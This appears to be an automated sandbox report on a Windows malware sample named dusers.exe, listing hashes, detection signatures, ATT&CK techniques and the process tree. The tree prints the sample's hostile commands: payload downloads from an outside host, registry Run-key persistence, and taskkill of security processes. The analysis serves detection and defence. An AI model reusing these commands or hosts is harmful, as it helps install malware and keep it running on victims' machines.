eb9a70ac0d1f7c413f10f5308bda81e1da5a9b5bfd2ab7c8d89232eada71c143

Analysis

max time kernel
118s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20220414-en
submitted
22-05-2022 05:23

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

dusers.exe
Size

207KB
MD5

80adc9e5666a4b94fe1637f92d0611b0
SHA1

478bb364184d882005d0503c91a9929d81e89765
SHA256

eb9a70ac0d1f7c413f10f5308bda81e1da5a9b5bfd2ab7c8d89232eada71c143
SHA512

f7eac083f93f5022d8a580303a16c1e12532f6c0dc89e338eb7585d5233c52f39fa7b3e06c06511e6dc68e398151be30074346e66eaccb972f1c497a893d88de

Score

10^/10

persistence ransomware suricata upx

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Roaming\Macromedia\index.html

Ransom Note

Services SSD Web Hosting SSD Windows Hosting SSD VPS Servers Virtual Private Networks FREE Dynamic DNS Premium Dynamic DNS DNS Hosting Domains SSL Certificate Company Our Company Contact Us Privacy Policy Terms of Service Service Agreement Help Support Knowledgebase Your Account Coupons VPN Video Tutorials VPN DNS Dynamic DNS DNS Hosting DNS for Businesses Domains SSL VPS Hosting Shared Linux Hosting Shared Windows Hosting Login Great Deals On KVM SSD VPS, cPanel Shared Web Hosting & Virtual Private Network 20% offer Coupon code Get Started Now Instantly Deploy your Virtual Private Server (SSD) Los Angeles, Denver, Chicago, and Amsterdam Starting at $10/month Get Started Browse Safely Online Hide your IP address and encrypt your connection Setup in Minutes! Starting at $3.33/month Join Now SSD Fast Shared Hosting Available Instantly with cPanel Starting at $60/year Get Started Windows Shared SSD Hosting Plesk Control Panel and Unlimited Resources Starting at $70/year Get Started Register your domain with Free DNS hosting .com .org .net .info .us .biz TLDs starting at $15 Get Started Secure your website with GeoTRUST and Comodo Starting at $13.95/year Get Started Geographically diverse service locations Los Angeles, Denver, Chicago, and Amsterdam The Fastest and Most Reliable Dynamic DNS Map a dynamic IP address to an easy-to-remember subdomain. Claim Your Free DNS Join more than 100,000 Happy Customers Linux Web Hosting Available instantly, lightning-fast performance, unlimited bandwidth Get Started Virtual Private Network Join the only VPN that protects your security, privacy, and freedom. Join Now Windows Web Hosting Parallels Plesk control panel, lightning-fast SSD drives, unlimited bandwidth. Get Started VPS Hosting SolusVM control panel, lightning-fast SSD drives, guaranteed resources. Get Started We accept credit cards, Bitcoin, and PayPal 24x7x365 Support 99.9% Uptime Guarantee Free Online Site Builder 30 Day Money Back Guarantee Copyright © 2020 ChangeIP, Inc. Company Our Story Privacy Policy Terms of Service Service Agreement DNS FREE Dynamic DNS Premium Dynamic DNS DNS Hosting Domains SSL Certificate Hosting SSD Web Hosting SSD VPS Servers Virtual Private Network Help Coupons VPN Video Tutorials Social (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','https://www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-90812209-1', 'auto'); ga('send', 'pageview'); (function(){var w=window;var ic=w.Intercom;if(typeof ic==="function"){ic('reattach_activator');ic('update',intercomSettings);}else{var d=document;var i=function(){i.c(arguments)};i.q=[];i.c=function(args){i.q.push(args)};w.Intercom=i;function l(){var s=d.createElement('script');s.type='text/javascript';s.async=true;s.src='https://widget.intercom.io/widget/aeh7d16f';var x=d.getElementsByTagName('script')[0];x.parentNode.insertBefore(s,x);}if(w.attachEvent){w.attachEvent('onload',l);}else{w.addEventListener('load',l,false);}}})()

Signatures

suricata: ET MALWARE BePush/Kilim payload retrieval
suricata: ET MALWARE BePush/Kilim payload retrieval
suricata
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata
Executes dropped EXE 7 IoCs

Processes:

Users.exewmild.exewmild.exewmild.exewmild.exewmild.exewmild.exe

pid process

4948 Users.exe
4724 wmild.exe
4240 wmild.exe
1008 wmild.exe
4728 wmild.exe
1768 wmild.exe
1416 wmild.exe

pid	process
4948	Users.exe
4724	wmild.exe
4240	wmild.exe
1008	wmild.exe
4728	wmild.exe
1768	wmild.exe
1416	wmild.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\Users.exe	upx
C:\Users\Admin\AppData\Local\Temp\Users.exe	upx

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

dusers.exeUsers.execmd.exeWScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000\Control Panel\International\Geo\Nation	dusers.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000\Control Panel\International\Geo\Nation	Users.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

reg.exereg.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000\software\microsoft\windows\currentversion\run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\winsvcr = "C:\\Users\\Admin\\AppData\\Roaming\\Macromedia\\svr.vbs"	reg.exe
Key created	\REGISTRY\MACHINE\software\WOW6432Node\microsoft\windows\currentversion\run	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\winsvcr = "C:\\Users\\Admin\\AppData\\Roaming\\Macromedia\\svr.vbs"	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Kills process with taskkill 5 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid process

2028 taskkill.exe
3976 taskkill.exe
4424 taskkill.exe
4692 taskkill.exe
2764 taskkill.exe

pid	process
2028	taskkill.exe
3976	taskkill.exe
4424	taskkill.exe
4692	taskkill.exe
2764	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

T1112

Processes:

explorer.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe

Modifies registry class 36 IoCs

Processes:

explorer.execmd.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\Local Settings	cmd.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\MRUListEx = 00000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0\MRUListEx = 00000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0\0\MRUListEx = ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = 00000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0 = 5600310000000000b654203b1000526f616d696e6700400009000400efbe8f54090ab654203b2e00000098e101000000010000000000000000000000000000007c3d920052006f0061006d0069006e006700000016000000	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0\0\NodeSlot = "1"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0 = 78003100000000008f54090a1100557365727300640009000400efbe874f7748b6541c3b2e000000c70500000000010000000000000000003a000000000034672c0155007300650072007300000040007300680065006c006c00330032002e0064006c006c002c002d0032003100380031003300000014000000	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\MRUListEx = 00000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0 = 56003100000000008f54090a12004170704461746100400009000400efbe8f54090ab6541c3b2e00000097e10100000001000000000000000000000000000000d4050b014100700070004400610074006100000016000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f50e04fd020ea3a6910a2d808002b30309d0000	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 19002f433a5c000000000000000000000000000000000000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0\0 = 5e00310000000000b654213b10004d4143524f4d7e310000460009000400efbeb654203bb654213b2e0000002c2e0200000006000000000000000000000000000000b7158b004d006100630072006f006d006500640069006100000018000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0\0	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Generic"	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0 = 50003100000000008f541d19100041646d696e003c0009000400efbe8f54090ab6541c3b2e0000008ce10100000001000000000000000000000000000000a474c000410064006d0069006e00000014000000	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\Local Settings	explorer.exe

Modifies registry key 1 TTPs 4 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exereg.exereg.exe

pid process

3524 reg.exe
4532 reg.exe
912 reg.exe
3872 reg.exe
Runs ping.exe 1 TTPs 4 IoCs

Remote System Discovery
T1018

Processes:

PING.EXEPING.EXEPING.EXEPING.EXE

pid process

1600 PING.EXE
440 PING.EXE
1460 PING.EXE
5116 PING.EXE
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

explorer.exe

pid process

444 explorer.exe
Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

explorer.exe

pid process

444 explorer.exe

pid	process
3524	reg.exe
4532	reg.exe
912	reg.exe
3872	reg.exe

pid	process
1600	PING.EXE
440	PING.EXE
1460	PING.EXE
5116	PING.EXE

pid	process
444	explorer.exe

pid	process
444	explorer.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

description	pid	process
Token: SeDebugPrivilege	2028	taskkill.exe
Token: SeDebugPrivilege	3976	taskkill.exe
Token: SeDebugPrivilege	4424	taskkill.exe
Token: SeDebugPrivilege	4692	taskkill.exe
Token: SeDebugPrivilege	2764	taskkill.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

explorer.exe

pid process

444 explorer.exe
444 explorer.exe

pid	process
444	explorer.exe
444	explorer.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

dusers.execmd.exeUsers.execmd.exe

description	pid	process	target process
PID 1388 wrote to memory of 4440	1388	dusers.exe	cmd.exe
PID 1388 wrote to memory of 4440	1388	dusers.exe	cmd.exe
PID 1388 wrote to memory of 4440	1388	dusers.exe	cmd.exe
PID 4440 wrote to memory of 4948	4440	cmd.exe	Users.exe
PID 4440 wrote to memory of 4948	4440	cmd.exe	Users.exe
PID 4440 wrote to memory of 4948	4440	cmd.exe	Users.exe
PID 4440 wrote to memory of 1600	4440	cmd.exe	PING.EXE
PID 4440 wrote to memory of 1600	4440	cmd.exe	PING.EXE
PID 4440 wrote to memory of 1600	4440	cmd.exe	PING.EXE
PID 4948 wrote to memory of 1100	4948	Users.exe	cmd.exe
PID 4948 wrote to memory of 1100	4948	Users.exe	cmd.exe
PID 4948 wrote to memory of 1100	4948	Users.exe	cmd.exe
PID 1100 wrote to memory of 3680	1100	cmd.exe	chcp.com
PID 1100 wrote to memory of 3680	1100	cmd.exe	chcp.com
PID 1100 wrote to memory of 3680	1100	cmd.exe	chcp.com
PID 1100 wrote to memory of 440	1100	cmd.exe	PING.EXE
PID 1100 wrote to memory of 440	1100	cmd.exe	PING.EXE
PID 1100 wrote to memory of 440	1100	cmd.exe	PING.EXE
PID 1100 wrote to memory of 4724	1100	cmd.exe	wmild.exe
PID 1100 wrote to memory of 4724	1100	cmd.exe	wmild.exe
PID 1100 wrote to memory of 4724	1100	cmd.exe	wmild.exe
PID 1100 wrote to memory of 4240	1100	cmd.exe	wmild.exe
PID 1100 wrote to memory of 4240	1100	cmd.exe	wmild.exe
PID 1100 wrote to memory of 4240	1100	cmd.exe	wmild.exe
PID 4440 wrote to memory of 4140	4440	cmd.exe	explorer.exe
PID 4440 wrote to memory of 4140	4440	cmd.exe	explorer.exe
PID 4440 wrote to memory of 4140	4440	cmd.exe	explorer.exe
PID 1100 wrote to memory of 4540	1100	cmd.exe	reg.exe
PID 1100 wrote to memory of 4540	1100	cmd.exe	reg.exe
PID 1100 wrote to memory of 4540	1100	cmd.exe	reg.exe
PID 1100 wrote to memory of 1460	1100	cmd.exe	PING.EXE
PID 1100 wrote to memory of 1460	1100	cmd.exe	PING.EXE
PID 1100 wrote to memory of 1460	1100	cmd.exe	PING.EXE
PID 1100 wrote to memory of 3524	1100	cmd.exe	reg.exe
PID 1100 wrote to memory of 3524	1100	cmd.exe	reg.exe
PID 1100 wrote to memory of 3524	1100	cmd.exe	reg.exe
PID 1100 wrote to memory of 1868	1100	cmd.exe	find.exe
PID 1100 wrote to memory of 1868	1100	cmd.exe	find.exe
PID 1100 wrote to memory of 1868	1100	cmd.exe	find.exe
PID 1100 wrote to memory of 1928	1100	cmd.exe	reg.exe
PID 1100 wrote to memory of 1928	1100	cmd.exe	reg.exe
PID 1100 wrote to memory of 1928	1100	cmd.exe	reg.exe
PID 1100 wrote to memory of 2028	1100	cmd.exe	taskkill.exe
PID 1100 wrote to memory of 2028	1100	cmd.exe	taskkill.exe
PID 1100 wrote to memory of 2028	1100	cmd.exe	taskkill.exe
PID 1100 wrote to memory of 3976	1100	cmd.exe	taskkill.exe
PID 1100 wrote to memory of 3976	1100	cmd.exe	taskkill.exe
PID 1100 wrote to memory of 3976	1100	cmd.exe	taskkill.exe
PID 1100 wrote to memory of 4424	1100	cmd.exe	taskkill.exe
PID 1100 wrote to memory of 4424	1100	cmd.exe	taskkill.exe
PID 1100 wrote to memory of 4424	1100	cmd.exe	taskkill.exe
PID 1100 wrote to memory of 4692	1100	cmd.exe	taskkill.exe
PID 1100 wrote to memory of 4692	1100	cmd.exe	taskkill.exe
PID 1100 wrote to memory of 4692	1100	cmd.exe	taskkill.exe
PID 1100 wrote to memory of 2764	1100	cmd.exe	taskkill.exe
PID 1100 wrote to memory of 2764	1100	cmd.exe	taskkill.exe
PID 1100 wrote to memory of 2764	1100	cmd.exe	taskkill.exe
PID 1100 wrote to memory of 4532	1100	cmd.exe	reg.exe
PID 1100 wrote to memory of 4532	1100	cmd.exe	reg.exe
PID 1100 wrote to memory of 4532	1100	cmd.exe	reg.exe
PID 1100 wrote to memory of 912	1100	cmd.exe	reg.exe
PID 1100 wrote to memory of 912	1100	cmd.exe	reg.exe
PID 1100 wrote to memory of 912	1100	cmd.exe	reg.exe
PID 1100 wrote to memory of 1008	1100	cmd.exe	wmild.exe

C:\Users\Admin\AppData\Local\Temp\dusers.exe
"C:\Users\Admin\AppData\Local\Temp\dusers.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1388

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\move.bat" "
2⤵
- Suspicious use of WriteProcessMemory
PID:4440

C:\Users\Admin\AppData\Local\Temp\Users.exe
users.exe
3⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4948

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Macromedia\ser.bat" "
4⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1100

C:\Windows\SysWOW64\chcp.com
CHCP 1251
5⤵
PID:3680

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 1
5⤵
- Runs ping.exe
PID:440

C:\Users\Admin\AppData\Roaming\Macromedia\wmild.exe
wmild.exe -c http://duserifram.toshibanetcam.com/app.exe
5⤵
- Executes dropped EXE
PID:4724

C:\Users\Admin\AppData\Roaming\Macromedia\wmild.exe
wmild.exe -c http://duserifram.toshibanetcam.com/tibokUS.exe
5⤵
- Executes dropped EXE
PID:4240

C:\Windows\SysWOW64\reg.exe
reg add "hkcu\software\microsoft\windows\currentversion" /v "alg" /t reg_sz /d svr.vbs /f
5⤵
PID:4540

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 6
5⤵
- Runs ping.exe
PID:1460

C:\Windows\SysWOW64\reg.exe
REG QUERY hkcu\software\microsoft\windows\currentversion
5⤵
- Modifies registry key
PID:3524

C:\Windows\SysWOW64\find.exe
find "svr.vbs"
5⤵
PID:1868

C:\Windows\SysWOW64\reg.exe
reg delete "hkcu\software\microsoft\windows\currentversion" /v "alg" /f
5⤵
PID:1928

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im ipz.exe
5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2028

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im ipz2.exe
5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3976

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im nvidsrv.exe
5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4424

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im safesurf.exe
5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4692

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im surfguard.exe
5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2764

C:\Windows\SysWOW64\reg.exe
reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Ratings /f
5⤵
- Modifies registry key
PID:4532

C:\Windows\SysWOW64\reg.exe
reg delete HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Ratings /f
5⤵
- Modifies registry key
PID:912

C:\Users\Admin\AppData\Roaming\Macromedia\wmild.exe
wmild.exe -c http://duserifram.toshibanetcam.com/ASUFUSER.exe
5⤵
- Executes dropped EXE
PID:1008

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Macromedia\nobuf.vbs"
5⤵
- Checks computer location settings
PID:1248

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" "javascript:clipboardData.setData('text','5G#JBNGAJAT2tQ^@I@3PJX#)$JHZZTCE');close();"
6⤵
PID:1944

C:\Windows\SysWOW64\reg.exe
reg add "hkcu\software\microsoft\windows\currentversion\run" /v "winsvcr" /t reg_sz /d "C:\Users\Admin\AppData\Roaming\Macromedia\svr.vbs" /f
5⤵
- Adds Run key to start application
PID:4572

C:\Windows\SysWOW64\reg.exe
reg add "hklm\software\microsoft\windows\currentversion\run" /v "winsvcr" /t reg_sz /d "C:\Users\Admin\AppData\Roaming\Macromedia\svr.vbs" /f
5⤵
- Adds Run key to start application
PID:4152

C:\Users\Admin\AppData\Roaming\Macromedia\wmild.exe
wmild.exe -c http://duserifram.toshibanetcam.com/raauser.exe
5⤵
- Executes dropped EXE
PID:4728

C:\Users\Admin\AppData\Roaming\Macromedia\wmild.exe
wmild.exe -c http://duserifram.toshibanetcam.com/amsql.exe
5⤵
- Executes dropped EXE
PID:1768

C:\Users\Admin\AppData\Roaming\Macromedia\wmild.exe
wmild.exe -c http://duserifram.toshibanetcam.com/prochack.exe
5⤵
- Executes dropped EXE
PID:1416

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 20
5⤵
- Runs ping.exe
PID:5116

C:\Windows\SysWOW64\reg.exe
reg delete HKCU\SOFTWARE\JetSwap /f
5⤵
- Modifies registry key
PID:3872

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 3
3⤵
- Runs ping.exe
PID:1600

C:\Windows\SysWOW64\explorer.exe
explorer.exe C:\Users\Admin\AppData\Roaming\Macromedia
3⤵
PID:4140

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:444

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4704

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Remote System Discovery

T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Users.exe
Filesize
143KB

MD5
f281cf95dc213f2bff31707319f12e52

SHA1
cdf5667a12476eb13832e841b84fe7e06f69ef80

SHA256
7d4b48559eea4f796bcae254548be0e843d58def5dedc0595b2623afc39cb8b3

SHA512
bc8ebc87e7805f606faf50a6f6d96ed04ebb9f300ac40c6d6763f8e0dedf0a0e500c6f4d49373f5a639f4b06e02e81faf88658a93c62d4cfe520f2b445d63b33

Download Submit
C:\Users\Admin\AppData\Local\Temp\Users.exe
Filesize
143KB

MD5
f281cf95dc213f2bff31707319f12e52

SHA1
cdf5667a12476eb13832e841b84fe7e06f69ef80

SHA256
7d4b48559eea4f796bcae254548be0e843d58def5dedc0595b2623afc39cb8b3

SHA512
bc8ebc87e7805f606faf50a6f6d96ed04ebb9f300ac40c6d6763f8e0dedf0a0e500c6f4d49373f5a639f4b06e02e81faf88658a93c62d4cfe520f2b445d63b33

Download Submit
C:\Users\Admin\AppData\Local\Temp\move.bat
Filesize
156B

MD5
cfa0da234e0434f0a9b092989956227e

SHA1
138abe1853d92bca4869b481087f627dd557229f

SHA256
18d5ef0656e401c842a0eb28ff3bc1e46887e7631eea747c6ae773538c13ed40

SHA512
95da985ab1ea9ab1ab264b7b799a19e784dcc15e2369a771b49f31dbfd1649a9940ad241c7e89ea4e0d1b96ed8e91ba48ef816431731218fffcad03972909f93

Download Submit
C:\Users\Admin\AppData\Roaming\Macromedia\SER.bat
Filesize
2KB

MD5
3e4d4cb6c7e82472a7ff63d486bb0566

SHA1
4b4f7012671f29728065320284ef1b1302a43f78

SHA256
27ed1a433e8c6053b348fa5b00c2bfcfd8e5d2d72ca47b496b74d26af0c36532

SHA512
d1798d87f09c25f0609a08007ed832a0402f964c570b96f8906b0295b41ac4ce0132c34b5206c8dfc3f60e911bb4b4d2693829354414aefae201869c296e1ee5

Download Submit
C:\Users\Admin\AppData\Roaming\Macromedia\index.html
Filesize
23KB

MD5
d02b684399be7b3e3db6981b5b3559c5

SHA1
d75aef66321fda5e8b6f33171706552e5edaf155

SHA256
